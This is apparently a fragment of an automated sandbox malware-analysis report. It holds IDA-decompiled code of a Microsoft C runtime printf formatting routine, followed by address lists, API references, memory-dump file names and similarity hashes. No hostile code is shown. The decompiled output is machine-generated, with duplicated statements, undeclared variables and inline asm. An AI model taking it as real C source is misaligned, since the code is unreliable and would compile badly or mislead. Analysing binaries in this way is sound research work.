																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				goto L190;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L147:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			goto L190;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00434e3b
0x00434e3b
0x00434e3b
0x00434e3b
0x00434e3b
0x00434e3b
0x00434e3b
0x00434e3b
0x00000000
0x00434eaa
0x00000000
0x00434eaa
0x00000000
0x00434eaa
0x00434eaa
0x00434eb2
0x00434ed4
0x00434eda
0x00434eff
0x00434f46
0x00434f49
0x00434f6a
0x00434f6f
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4f
0x00434f54
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f07
0x00434f29
0x00434f2e
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f0d
0x00434f12
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434ee0
0x00434ee5
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb8
0x00434ebd
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f86
0x00434fc8
0x00434fce
0x00434fda
0x00000000
0x00434f88
0x00434f88
0x00434f88
0x00434f8f
0x00000000
0x00434f9c
0x00434f9c
0x00434faa
0x00434faf
0x00434fb5
0x00434fc3
0x00434fe0
0x00434fe8
0x0043500a
0x0043500a
0x00435014
0x00435025
0x0043502f
0x00435031
0x00435031
0x00435016
0x00435016
0x00435016
0x00435044
0x00435046
0x00435046
0x00435050
0x00435053
0x00435053
0x00435059
0x0043505c
0x00435061
0x00000000
0x00000000
0x00435071
0x00435074
0x0043507e
0x0043508d
0x00435096
0x004350ac
0x004350b2
0x004350bf
0x004350cd
0x004350cd
0x004350dc
0x004350e4
0x004350e4
0x004350ec
0x004350f2
0x004350fb
0x00435107
0x00435120
0x00435126
0x0043512f
0x0043512f
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00000000
0x00435132
0x00435132
0x00435132
0x00435136
0x0043531d
0x00435321
0x00435329
0x0043532e
0x00435331
0x00435331
0x00435338
0x00435338
0x0043440f
0x00434415
0x00434422
0x00434427
0x00000000
0x0043443a
0x00434444
0x0043446b
0x00434452
0x00434463
0x00434463
0x00434444
0x00434475
0x0043447b
0x00434487
0x0043448a
0x00434498
0x0043449b
0x004344a8
0x0043454d
0x00434553
0x00434560
0x00000000
0x00000000
0x00434566
0x0043456c
0x00000000
0x00434573
0x00434573
0x0043458b
0x00434590
0x00434595
0x0043464f
0x00434662
0x00434667
0x00000000
0x0043459b
0x004345ae
0x004345b3
0x004345b9
0x004345bb
0x004345c4
0x004345c7
0x004345d3
0x004345d7
0x004345dd
0x004345df
0x004345e4
0x004345e6
0x004345eb
0x004345f0
0x004345f2
0x004345f7
0x004345fd
0x004345ff
0x004345ff
0x004345fd
0x00434600
0x00434607
0x00000000
0x00434609
0x0043460e
0x0043462a
0x00434632
0x0043463f
0x00434644
0x00000000
0x00434644
0x00434607
0x00000000
0x0043466f
0x0043466f
0x00434676
0x00434679
0x0043467c
0x0043467f
0x00434682
0x00434685
0x00434688
0x0043468f
0x00434696
0x00000000
0x00000000
0x004346a2
0x004346a2
0x004346a9
0x004346b5
0x004346b8
0x004346c5
0x00000000
0x00000000
0x004346c7
0x004346c7
0x004346cd
0x004346cd
0x004346d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434717
0x00434717
0x00434721
0x0043474b
0x0043474e
0x00434751
0x00434758
0x00434758
0x0043475c
0x00434723
0x00434723
0x0043472f
0x00434736
0x00434738
0x0043473b
0x0043473e
0x00434744
0x00434746
0x00434746
0x00434749
0x00000000
0x00000000
0x00434764
0x00434764
0x00000000
0x00000000
0x00434770
0x00434770
0x0043477a
0x0043479d
0x004347a7
0x004347a7
0x004347ab
0x0043477c
0x0043477c
0x00434788
0x0043478f
0x00434791
0x00434791
0x00434798
0x00000000
0x00000000
0x004347b3
0x004347b3
0x004347ba
0x004347c6
0x004347c9
0x004347d6
0x004348e9
0x00000000
0x004348e9
0x004347dc
0x004347dc
0x004347e2
0x004347e2
0x004347e9
0x00000000
0x0043481f
0x0043481f
0x00434822
0x00434828
0x00434850
0x00434850
0x00434853
0x00434859
0x0043487e
0x0043487e
0x00434881
0x00434887
0x004348c0
0x004348d1
0x00000000
0x004348d1
0x00434889
0x00434889
0x0043488c
0x00434892
0x00000000
0x00000000
0x00434894
0x00434894
0x00434897
0x0043489d
0x00000000
0x00000000
0x0043489f
0x0043489f
0x004348a2
0x004348a8
0x00000000
0x00000000
0x004348aa
0x004348aa
0x004348ad
0x004348b3
0x00000000
0x00000000
0x004348b5
0x004348b5
0x004348b8
0x004348be
0x004348c2
0x004348c2
0x00000000
0x004348c2
0x00000000
0x004348be
0x0043485b
0x0043485b
0x0043485e
0x00434865
0x00000000
0x00000000
0x00434867
0x0043486a
0x0043486d
0x00434870
0x00434873
0x00434879
0x00000000
0x00434879
0x0043482a
0x0043482a
0x0043482d
0x00434834
0x00000000
0x00000000
0x00434836
0x00434839
0x0043483c
0x0043483f
0x00434842
0x00434848
0x00000000
0x00000000
0x004348d3
0x004348d6
0x004348d9
0x00000000
0x00000000
0x004347f0
0x004347f0
0x004347f3
0x004347f9
0x00434811
0x00434814
0x00434817
0x004347fb
0x004347fe
0x00434801
0x00434807
0x0043480c
0x0043480c
0x00000000
0x00000000
0x004348de
0x004348e1
0x004348e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004346f1
0x004346f4
0x004346f7
0x00000000
0x00000000
0x004346fc
0x004346ff
0x00434704
0x00000000
0x00000000
0x004346e6
0x004346e6
0x004346e9
0x004346ec
0x00000000
0x00000000
0x004346db
0x004346de
0x004346e1
0x00000000
0x00000000
0x00434709
0x00434709
0x0043470c
0x0043470f
0x00000000
0x00000000
0x00434712
0x00000000
0x00000000
0x004344ae
0x004344b0
0x004344be
0x004344b2
0x004344b2
0x004344b2
0x004344c8
0x004344ce
0x004344db
0x004344dd
0x004344e2
0x004344e4
0x004344e9
0x004344ee
0x004344f0
0x004344f5
0x004344fb
0x004344fd
0x004344fd
0x004344fb
0x004344fe
0x00434505
0x00000000
0x00434507
0x0043450c
0x00434528
0x00434530
0x0043453d
0x00434542
0x00435401
0x0043540e
0x0043540e
0x00434505
0x004344a8
0x0043533d
0x00435344
0x0043535b
0x0043534f
0x0043534f
0x0043534f
0x00435365
0x0043536b
0x00435378
0x0043537a
0x0043537f
0x00435381
0x00435386
0x0043538b
0x0043538d
0x00435392
0x00435398
0x0043539a
0x0043539a
0x00435398
0x004353a2
0x004353ed
0x004353f6
0x004353fb
0x004353a4
0x004353a9
0x004353c5
0x004353cd
0x004353da
0x004353df
0x004353df
0x00000000
0x004353a2
0x0043513c
0x00435142
0x0043514c
0x00435161
0x00435176
0x00435178
0x0043517c
0x0043517c
0x00435163
0x00435163
0x00435167
0x00435167
0x0043514e
0x0043514e
0x00435152
0x00435152
0x0043514c
0x0043518c
0x00435198
0x004351ae
0x004351b3
0x004351b3
0x004351c9
0x004351ce
0x004351d7
0x004351f5
0x004351fa
0x004351fa
0x00435201
0x004352d5
0x004352e8
0x004352ed
0x00000000
0x00435211
0x00435211
0x00435211
0x0043521e
0x00435227
0x0043522d
0x0043522d
0x0043523c
0x00435244
0x00000000
0x00000000
0x0043524a
0x00435253
0x00435272
0x00435277
0x0043527a
0x00435289
0x00435296
0x004352a1
0x004352a1
0x00000000
0x004352ad
0x004352ad
0x004352c6
0x004352cb
0x00000000
0x004352cb
0x00435296
0x004352d3
0x004352f0
0x004352f7
0x00435315
0x0043531a
0x0043531a
0x00000000
0x004352f7
0x004348ee
0x004348ee
0x004348f5
0x004348fb
0x00434901
0x00434904
0x0043490a
0x0043491d
0x0043491d
0x00434924
0x00000000
0x00434c7e
0x00434c7e
0x00434c85
0x00434c8c
0x00434c8f
0x00000000
0x00000000
0x0043492b
0x0043492e
0x00434934
0x00434939
0x0043493e
0x0043493e
0x00000000
0x00000000
0x00434a6b
0x00434a6e
0x00434a73
0x00434a78
0x00434a7e
0x00434a7e
0x00000000
0x00000000
0x00434e4b
0x00434e4b
0x00000000
0x00000000
0x004349d5
0x004349d5
0x004349e1
0x004349ee
0x004349fc
0x004349fc
0x00434a02
0x00434a05
0x00434a11
0x00434a66
0x00000000
0x00434a66
0x004349f0
0x004349f0
0x004349fa
0x00434a16
0x00434a19
0x00434a1f
0x00434a47
0x00434a4e
0x00434a54
0x00434a57
0x00434a5a
0x00434a60
0x00434a63
0x00434a21
0x00434a21
0x00434a27
0x00434a2a
0x00434a2d
0x00434a33
0x00434a36
0x00434a39
0x00434a3b
0x00434a3e
0x00434a3e
0x00000000
0x00434a1f
0x00000000
0x00000000
0x00434c95
0x00434c98
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca7
0x00434cb2
0x00434cbd
0x00434cc1
0x00434cd8
0x00434cdf
0x00434ce1
0x00434ce1
0x00434ce8
0x00434cef
0x00434d00
0x00434d0f
0x00434d16
0x00434d2c
0x00434d18
0x00434d18
0x00434d1b
0x00434d21
0x00434d27
0x00434d27
0x00434d16
0x00434d36
0x00434d39
0x00434d3c
0x00434d3f
0x00434d42
0x00434d45
0x00434d4b
0x00434d51
0x00434d59
0x00434d5a
0x00434d5d
0x00434d5e
0x00434d61
0x00434d62
0x00434d69
0x00434d6a
0x00434d6d
0x00434d6e
0x00434d71
0x00434d72
0x00434d78
0x00434d79
0x00434d87
0x00434d89
0x00434d8f
0x00434d95
0x00434d9d
0x00434da5
0x00434da6
0x00434da9
0x00434daa
0x00434db8
0x00434dba
0x00434dba
0x00434dbd
0x00434dc7
0x00434dcc
0x00434dd2
0x00434dd4
0x00434ddc
0x00434ddd
0x00434de0
0x00434de1
0x00434df0
0x00434df2
0x00434df2
0x00434dd2
0x00434df5
0x00434df8
0x00434dfe
0x00434e03
0x00434e09
0x00434e0f
0x00434e12
0x00434e12
0x00434e15
0x00434e21
0x00000000
0x00434e21
0x00434cc3
0x00434cc3
0x00434ccd
0x00000000
0x00000000
0x00434ccf
0x00434ccf
0x00000000
0x00434ccf
0x00434cb4
0x00434cb4
0x00000000
0x00000000
0x00434941
0x00434944
0x0043494a
0x004349a5
0x004349ad
0x004349b4
0x004349ba
0x004349c0
0x0043494c
0x0043494c
0x00434956
0x0043495a
0x00434962
0x00434969
0x00434976
0x0043497d
0x00434989
0x00434996
0x00434998
0x00434998
0x0043499f
0x004349c7
0x004349cd
0x00000000
0x00000000
0x00434e29
0x00434e2c
0x00434e2f
0x00434e32
0x00000000
0x00000000
0x00434b87
0x00434b87
0x00434b93
0x00434ba0
0x00434c4a
0x00434c4d
0x00434c50
0x00434c64
0x00434c6a
0x00434c70
0x00434c52
0x00434c52
0x00434c5f
0x00434c5f
0x00434c72
0x00000000
0x00434c72
0x00434ba6
0x00434ba6
0x00434ba8
0x00434bb6
0x00434baa
0x00434baa
0x00434baa
0x00434bc0
0x00434bc6
0x00434bd3
0x00434bd5
0x00434bda
0x00434bdc
0x00434be1
0x00434be6
0x00434be8
0x00434bed
0x00434bf3
0x00434bf5
0x00434bf5
0x00434bf3
0x00434bfd
0x00434c45
0x00000000
0x00434bff
0x00434bff
0x00434c04
0x00434c20
0x00434c28
0x00434c32
0x00434c35
0x00434c3a
0x00000000
0x00434c3a
0x00000000
0x00434e8c
0x00434e8c
0x00434e96
0x00434e9c
0x00434ea1
0x00434ea7
0x00434ea7
0x00000000
0x00000000
0x00434e44
0x00434e44
0x00000000
0x00000000
0x00434a81
0x00434a85
0x00434a93
0x00434a96
0x00434a87
0x00434a87
0x00434a87
0x00434a9c
0x00434aa2
0x00434aa8
0x00434ab4
0x00434aba
0x00434ac0
0x00434b27
0x00434b2b
0x00434b2d
0x00434b33
0x00434b33
0x00434b36
0x00434b39
0x00434b3f
0x00434b3f
0x00434b3f
0x00434b4b
0x00434b4e
0x00434b56
0x00000000
0x00000000
0x00434b58
0x00434b58
0x00434b5e
0x00434b63
0x00000000
0x00000000
0x00434b65
0x00434b6b
0x00434b6e
0x00434b6e
0x00434b76
0x00434b7c
0x00434b7f
0x00000000
0x00434ac2
0x00434ac2
0x00434ac6
0x00434ac8
0x00434acd
0x00434acd
0x00434ad0
0x00434ad7
0x00434ada
0x00434ae0
0x00434ae0
0x00434ae0
0x00434aec
0x00434aef
0x00434af7
0x00000000
0x00000000
0x00434af9
0x00434af9
0x00434aff
0x00434b04
0x00000000
0x00000000
0x00434b06
0x00434b0c
0x00434b0f
0x00434b0f
0x00434b17
0x00434b1d
0x00434b20
0x00434b22
0x00434b82
0x00000000
0x00434b82
0x00000000
0x00000000
0x00000000
0x00434e57
0x00434e57
0x00434e61
0x00434e61
0x00434e6b
0x00434e71
0x00434e73
0x00434e7d
0x00434e80
0x00434e83
0x00434e83
0x00000000
0x00000000
0x00000000
0x00000000
0x00434924
0x00435132
0x00435132
0x00435132
0x00435132
0x00435132
0x00435132
0x00435132
0x00434f8f
0x00434f86
0x00434eaa
0x00434eaa
0x00434eaa

APIs

_get_int64_arg.LIBCMTD ref: 00434EB8
_get_int64_arg.LIBCMTD ref: 00434EE0
__aullrem.LIBCMT ref: 00435085
__aulldiv.LIBCMT ref: 004350A7

Strings

9, xrefs: 004350B8

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction ID: 7729a1e5d909415d708f65aaa1ba71e52ceb64dbe854440cf09f82302eb3cdf5
Opcode Fuzzy Hash: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction Fuzzy Hash: 86411671D05628DFDB24CF58C899BEEB7B5BB88300F2491DAE009A7240C7396E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427BCC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00427BCC(signed int __edx) {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t611;
				signed int _t613;
				signed int _t615;
				signed int _t622;
				signed int _t663;
				signed int _t666;
				void* _t668;
				void* _t669;
				signed int _t675;

				L0:
				while(1) {
					L0:
					_t611 = __edx;
					 *(_t666 - 8) = 0xa;
					L144:
					while(1) {
						L144:
						while(1) {
							L144:
							while(1) {
								L144:
								if(( *(_t666 - 0x10) & 0x00008000) == 0) {
									_t613 =  *(_t666 - 0x10) & 0x00001000;
									if(_t613 == 0) {
										if(( *(_t666 - 0x10) & 0x00000020) == 0) {
											_t615 =  *(_t666 - 0x10) & 0x00000040;
											if(_t615 == 0) {
												_t476 = E00428200(_t666 + 0x14);
												_t669 = _t668 + 4;
												 *(_t666 - 0x2b0) = _t476;
												 *(_t666 - 0x2ac) = 0;
											} else {
												_t549 = E00428200(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t549;
												 *(_t666 - 0x2ac) = _t615;
											}
										} else {
											_t663 =  *(_t666 - 0x10) & 0x00000040;
											if(_t663 == 0) {
												_t550 = E00428200(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t550 & 0x0000ffff;
												 *(_t666 - 0x2ac) = _t663;
											} else {
												_t553 = E00428200(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t553;
												 *(_t666 - 0x2ac) = _t663;
											}
										}
									} else {
										_t556 = E00428220(_t666 + 0x14);
										_t669 = _t668 + 4;
										 *(_t666 - 0x2b0) = _t556;
										 *(_t666 - 0x2ac) = _t613;
									}
								} else {
									_t557 = E00428220(_t666 + 0x14);
									_t669 = _t668 + 4;
									 *(_t666 - 0x2b0) = _t557;
									 *(_t666 - 0x2ac) = _t611;
								}
								if(( *(_t666 - 0x10) & 0x00000040) == 0) {
									L161:
									 *(_t666 - 0x2b8) =  *(_t666 - 0x2b0);
									 *(_t666 - 0x2b4) =  *(_t666 - 0x2ac);
									goto L162;
								} else {
									L157:
									_t675 =  *(_t666 - 0x2ac);
									if(_t675 > 0 || _t675 >= 0 &&  *(_t666 - 0x2b0) >= 0) {
										goto L161;
									} else {
										L160:
										asm("adc edx, 0x0");
										 *(_t666 - 0x2b8) =  ~( *(_t666 - 0x2b0));
										 *(_t666 - 0x2b4) =  ~( *(_t666 - 0x2ac));
										 *(_t666 - 0x10) =  *(_t666 - 0x10) | 0x00000100;
										L162:
										if(( *(_t666 - 0x10) & 0x00008000) == 0 && ( *(_t666 - 0x10) & 0x00001000) == 0) {
											 *(_t666 - 0x2b4) =  *(_t666 - 0x2b4) & 0x00000000;
										}
										if( *(_t666 - 0x30) >= 0) {
											 *(_t666 - 0x10) =  *(_t666 - 0x10) & 0xfffffff7;
											if( *(_t666 - 0x30) > 0x200) {
												 *(_t666 - 0x30) = 0x200;
											}
										} else {
											 *(_t666 - 0x30) = 1;
										}
										if(( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
											 *(_t666 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t666 - 4)) = _t666 - 0x49;
										while(1) {
											L172:
											_t621 =  *(_t666 - 0x30) - 1;
											 *(_t666 - 0x30) =  *(_t666 - 0x30) - 1;
											if( *(_t666 - 0x30) <= 0 && ( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
												break;
											}
											L174:
											asm("cdq");
											_t622 =  *(_t666 - 0x2b8);
											 *((intOrPtr*)(_t666 - 0x2a4)) = E00430630(_t622,  *(_t666 - 0x2b4),  *(_t666 - 8), _t621) + 0x30;
											asm("cdq");
											 *(_t666 - 0x2b8) = E004306B0( *(_t666 - 0x2b8),  *(_t666 - 0x2b4),  *(_t666 - 8), _t622);
											 *(_t666 - 0x2b4) = _t622;
											if( *((intOrPtr*)(_t666 - 0x2a4)) > 0x39) {
												 *((intOrPtr*)(_t666 - 0x2a4)) =  *((intOrPtr*)(_t666 - 0x2a4)) +  *((intOrPtr*)(_t666 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) =  *((intOrPtr*)(_t666 - 0x2a4));
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
										}
										L177:
										 *((intOrPtr*)(_t666 - 0x24)) = _t666 - 0x49 -  *((intOrPtr*)(_t666 - 4));
										 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) + 1;
										if(( *(_t666 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t666 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t666 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) = 0x30;
											 *((intOrPtr*)(_t666 - 0x24)) =  *((intOrPtr*)(_t666 - 0x24)) + 1;
										}
										L181:
										while(1) {
											L181:
											while(1) {
												L181:
												while(1) {
													L181:
													while(1) {
														L181:
														while(1) {
															L181:
															while(1) {
																L181:
																while(1) {
																	do {
																		L181:
																		if( *((intOrPtr*)(_t666 - 0x28)) != 0) {
																			L207:
																			if( *(_t666 - 0x20) != 0) {
																				L0041C3E0( *(_t666 - 0x20), 2);
																				_t669 = _t669 + 8;
																				 *(_t666 - 0x20) = 0;
																			}
																			while(1) {
																				L209:
																				 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																				 *((intOrPtr*)(_t666 + 0xc)) =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																				if( *(_t666 - 0x251) == 0 ||  *(_t666 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t666 - 0x251) < 0x20 ||  *(_t666 - 0x251) > 0x78) {
																						 *(_t666 - 0x2fc) = 0;
																					} else {
																						 *(_t666 - 0x2fc) =  *( *(_t666 - 0x251) + 0x404460) & 0x0000000f;
																					}
																				}
																				L7:
																				 *(_t666 - 0x250) =  *(_t666 - 0x2fc);
																				_t19 =  *(_t666 - 0x250) * 8; // 0x6000006
																				 *(_t666 - 0x25c) =  *( *(_t666 - 0x25c) + _t19 + 0x404480) >> 4;
																				 *(_t666 - 0x300) =  *(_t666 - 0x25c);
																				if( *(_t666 - 0x300) > 7) {
																					continue;
																				}
																				L8:
																				switch( *((intOrPtr*)( *(_t666 - 0x300) * 4 +  &M004280F8))) {
																					case 0:
																						L9:
																						 *(_t666 - 0xc) = 0;
																						_t502 = E004310C0( *(_t666 - 0x251) & 0x000000ff, E0041ACF0(_t666 - 0x40));
																						_t671 = _t669 + 8;
																						if(_t502 == 0) {
																							L15:
																							E00435520( *(_t666 - 0x251) & 0x000000ff,  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t669 = _t671 + 0xc;
																							goto L209;
																						} else {
																							E00435520( *((intOrPtr*)(_t666 + 8)),  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t671 = _t671 + 0xc;
																							_t582 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							_t629 =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																							 *((intOrPtr*)(_t666 + 0xc)) = _t629;
																							asm("sbb eax, eax");
																							 *(_t666 - 0x278) =  ~( ~( *(_t666 - 0x251)));
																							if(_t629 == 0) {
																								_push(L"(ch != _T(\'\\0\'))");
																								_push(0);
																								_push(0x486);
																								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																								_push(2);
																								_t514 = L0041E220();
																								_t671 = _t671 + 0x14;
																								if(_t514 == 1) {
																									asm("int3");
																								}
																							}
																							L13:
																							if( *(_t666 - 0x278) != 0) {
																								goto L15;
																							} else {
																								 *((intOrPtr*)(L00422D10(_t582))) = 0x16;
																								E00422AA0(_t558, _t582, _t664, _t665, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																								 *(_t666 - 0x2e4) = 0xffffffff;
																								E0041ACC0(_t666 - 0x40);
																								_t497 =  *(_t666 - 0x2e4);
																								L211:
																								return E0042BB60(_t497, _t558,  *(_t666 - 0x48) ^ _t666, _t629, _t664, _t665);
																							}
																						}
																					case 1:
																						L16:
																						 *(__ebp - 0x2c) = 0;
																						__edx =  *(__ebp - 0x2c);
																						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																						__eax =  *(__ebp - 0x28);
																						 *(__ebp - 0x18) =  *(__ebp - 0x28);
																						__ecx =  *(__ebp - 0x18);
																						 *(__ebp - 0x1c) = __ecx;
																						 *(__ebp - 0x10) = 0;
																						 *(__ebp - 0x30) = 0xffffffff;
																						 *(__ebp - 0xc) = 0;
																						goto L209;
																					case 2:
																						L17:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						if( *(__ebp - 0x304) > 0x10) {
																							goto L24;
																						}
																						L18:
																						__ecx =  *(__ebp - 0x304);
																						_t63 = __ecx + 0x428130; // 0x498d04
																						__edx =  *_t63 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428118))) {
																							case 0:
																								goto L21;
																							case 1:
																								goto L22;
																							case 2:
																								goto L20;
																							case 3:
																								goto L19;
																							case 4:
																								goto L23;
																							case 5:
																								goto L24;
																						}
																					case 3:
																						L25:
																						__edx =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							__eax =  *(__ebp - 0x18);
																							__eax =  *(__ebp - 0x18) * 0xa;
																							__ecx =  *((char*)(__ebp - 0x251));
																							_t87 = __ecx - 0x30; // -48
																							__edx = __eax + _t87;
																							 *(__ebp - 0x18) = __eax + _t87;
																						} else {
																							__eax = __ebp + 0x14;
																							 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																							if( *(__ebp - 0x18) < 0) {
																								__ecx =  *(__ebp - 0x10);
																								__ecx =  *(__ebp - 0x10) | 0x00000004;
																								 *(__ebp - 0x10) = __ecx;
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																							}
																						}
																						L30:
																						goto L209;
																					case 4:
																						L31:
																						 *(__ebp - 0x30) = 0;
																						goto L209;
																					case 5:
																						L32:
																						__eax =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																							_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																							__ecx =  *(__ebp - 0x30) * 0xa + _t98;
																							 *(__ebp - 0x30) = __ecx;
																						} else {
																							__ecx = __ebp + 0x14;
																							 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																							if( *(__ebp - 0x30) < 0) {
																								 *(__ebp - 0x30) = 0xffffffff;
																							}
																						}
																						goto L209;
																					case 6:
																						L38:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						if( *(__ebp - 0x308) > 0x2e) {
																							L61:
																							goto L209;
																						}
																						L39:
																						__ecx =  *(__ebp - 0x308);
																						_t106 = __ecx + 0x428158; // 0x7a0f9003
																						__edx =  *_t106 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428144))) {
																							case 0:
																								L44:
																								__edx =  *(__ebp + 0xc);
																								__eax =  *( *(__ebp + 0xc));
																								if( *( *(__ebp + 0xc)) != 0x36) {
																									L47:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x33) {
																										L50:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x64) {
																											L56:
																											L58:
																											goto L61;
																										}
																										L51:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x69) {
																											goto L56;
																										}
																										L52:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx == 0x6f) {
																											goto L56;
																										}
																										L53:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x75) {
																											goto L56;
																										}
																										L54:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x78) {
																											goto L56;
																										}
																										L55:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx != 0x58) {
																											 *(__ebp - 0x25c) = 0;
																											goto L9;
																										}
																										goto L56;
																									}
																									L48:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x32) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L58;
